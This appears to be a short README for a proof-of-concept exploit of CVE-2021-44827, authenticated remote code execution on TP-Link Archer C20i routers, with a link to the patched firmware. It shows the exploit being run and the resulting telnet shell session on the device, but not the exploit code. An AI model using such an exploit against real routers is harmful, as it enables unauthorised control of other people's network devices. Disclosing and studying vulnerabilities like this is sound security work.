Proof-of-concept exploit for authenticated remote code execution (CVE-2021-44827) targeting TP-Link Archer C20i routers. Provides post-exploitation shell access on embedded Linux devices.
A PoC for CVE-2021-44827 - authenticated remote code execution in Tp-link Archer C20i
$ python exploit.py [error]0 [error]0 Run post_exploit_cmd Trying 192.168.0.1... Connected to 192.168.0.1 Escape character is '^]' ~ # ~ # ls web usr sbin mnt lib dev var sys proc linuxrc etc bin ~ # id sh: id: not found ~ # uname -a sh: uname: not found ~ # cat /proc/version Linux version 2.6.36 ([email protected]) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Tue Feb 21 14:47:04 HKT 2017
Fixed in https://static.tp-link.com/upload/firmware/2022/202202/20220217/Archer%20C20i(EU)_V1_220107.zip
